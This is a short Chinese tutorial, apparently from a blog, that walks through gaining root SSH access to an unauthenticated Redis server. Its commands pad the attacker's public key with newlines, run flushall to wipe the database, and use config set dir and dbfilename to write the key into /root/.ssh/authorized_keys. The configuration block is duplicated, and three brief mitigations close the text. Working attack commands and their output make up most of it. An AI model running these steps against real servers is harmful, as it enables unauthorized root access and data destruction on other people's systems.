目标机:172.16.20.173
登录机:172.16.20.55
假设172.16.20.173 开放6379端口,并且暴露在公网上没有设置密码,嘿嘿,那么你就知道后面发生的事情了。
首先把自己的公钥写到一个临时文件中,注意前后要加换行,不然会导致找不到对应的秘钥
# $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
# redis-cli -h 172.16.20.173 flushall
$ cat foo.txt | redis-cli -h 172.16.20.173 -x set redis
$ redis-cli -h 172.16.20.173
$ 172.16.20.173:6379> config set dir /root/.ssh/
OK
$ 172.16.20.173:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 172.16.20.173:6379> config set dbfilename "authorized_keys"
OK
$ 172.16.20.173:6379> save
OK
$ redis-cli -h 172.16.20.173
$ 172.16.20.173:6379> config set dir /root/.ssh/
OK
$ 172.16.20.173:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 172.16.20.173:6379> config set dbfilename "authorized_keys"
OK
$ 172.16.20.173:6379> save
OK
好了,利用redis的持久化功能,你已成功将自己的公钥写到靶机上了,然后可以 ssh 172.16.20.173 上去了。
有攻就有防,防范措施如下:
1、redis设置密码
2、redis能不暴露在公网就不暴露
3、redis不要用root权限启动